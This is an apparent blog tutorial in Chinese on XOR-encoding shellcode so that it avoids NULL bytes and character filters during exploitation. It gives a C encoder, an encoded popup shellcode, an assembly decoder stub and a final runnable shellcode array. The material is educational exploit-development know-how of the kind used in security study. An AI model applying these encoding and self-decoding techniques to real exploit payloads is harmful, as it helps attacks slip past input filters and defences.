shellcode编码

shellcode编码

在很多漏洞利用场景中,shellcode的内容将会受到限制。

首先,所有的字符串函数都会对NULL字节进行限制。通常我们需要选择特殊的指令来避免在shellcode中直接出现NULL字节(byte,ASCII函数)或字(word,Unicode函数)。

其次,有些函数还会要求shellcode必须为可见字符的ASCII值或Unicode值。在这种限制较多的情况下,如果仍然通过挑选指令的办法控制shellcode的值的话,将会给开发带来很大困难。

我们可以先专心完成shellcode的逻辑,然后使用编码技术对shellcode进行编码,使其内容达到限制的要求,最后再精心构造十几个字节的解码程序,放在shellcode开始执行的地方。

image

当exploit成功时,shellcode顶端的解码程序首先运行,它会在内存中将真正的shellcode还原成原来的样子,然后执行之。这种对shellcode编码的方法和软件加壳的原理非常类似。

image

最简单的编码过程莫过于异或运算了,因为对应的解码过程也同样最简单。我们可以编写程序对shellcode的每个字节用特定的数据进行异或运算,使得整个shellcode的内容达到要求。在编码时需要注意以下几点。

  • 用于异或的特定数据相当于加密算法的密钥,在选取时不可与shellcode已有字节相同,否则编码后会产生NULL字节。
  • 可以选用多个密钥分别对shellcode的不同区域进行编码,但会增加解码操作的复杂性。
  • 可以对shellcode进行很多轮编码运算。

一个简单的编码器:

  void encoder (char* input, unsigned char key, int display_flag)// bool
display_flag
{
      int i=0,len=0;
      FILE * fp;
      unsigned char * output;
      len = strlen(input);
      output=(unsigned char *)malloc(len+1);
      if(!output)
      {
         printf("memory erro!\n");
         exit(0);
      }
      //encode the shellcode
      for(i=0;i<len;i++)
      {
         output[i] = input[i]^key;
      }
      if(!(fp=fopen("encode.txt","w+")))
      {
         printf("output file create erro");
         exit(0);
      }
      fprintf(fp,"\"");
      for(i=0;i<len;i++)
      {
         fprintf(fp,"\\x%0.2x", output[i]);
         if((i+1)%16==0)
         {
            fprintf(fp,"\"\n\"");
         }
      }
      fprintf(fp,"\";");
      fclose(fp);
      printf("dump the encoded shellcode to encode.txt OK!\n");
      if(display_flag)//print to screen
      {
          for(i=0;i<len;i++)
          {
             printf("%0.2x ",output[i]);
             if((i+1)%16==0)
             {
                printf("\n");
             }
          }
      }
      free(output);
}

encoder()函数会使用传入的key参数对输入的数据逐一异或,并将其整理成十六进制的形式dump进一个名为encode.txt的文件中。这里对第四节中的通用shellcode进行编码,密钥采用0x44,在main中直接调用encoder(popup_general,0x44 ,1),会得到经过编码的shellcode如下:

"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4";

对应的解码器:

void main()
{
   __asm
   {
      add eax, 0x14 //越过decoder,记录shellcode的起始地址
      xor ecx,ecx
decode_loop:
         mov bl,[eax+ecx]
         xor bl, 0x44 //这里用0x44作为key,如编码的key改变,这里也要相应
                     //改变
         mov [eax+ecx],bl
         inc ecx
         cmp bl,0x90 //在shellcode末尾放上一个字节的0x90作为结束符
         jne decode_loop
   }
}

对于这个解码器,有以下需要注意的地方。

  • 解码器不能单独运行,需要用VC 6.0将其编译,然后用OllyDbg提取出二进制的机器代码,联合经过编码的shellcode一起执行。
  • 解码器默认在shellcode开始执行时,EAX已经对准了shellcode的起始位置。
  • 解码器将认为shellcode的最后一个字节为0x90,所以在编码前要注意给原始shellcode多加一个字节的0x90作为结尾,否则会产生错误。

最终的shellcode:

char final_sc_44[]=
"\x83\xC0\x14"  //ADD EAX,14H
"\x33\xC9"    //XOR ECX,ECX
"\x8A\x1C\x08"   //MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x44"  //XOR BL,44H//notice 0x44 is taken as temp key to decode !
"\x88\x1C\x08"    //MOV BYTE PTR DS:[EAX+ECX],BL
"\x41"        //INC ECX
"\x80\xFB\x90"   //CMP BL,90H
"\x75\xF1"      //JNZ SHORT decoder.00401034
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4";
void main()
{
     __asm
     {
        lea eax, final_sc_44
        push eax
        ret
     }
}
posted @ 2022-11-02 19:47  略略略zjr  阅读(179)  评论(0编辑  收藏  举报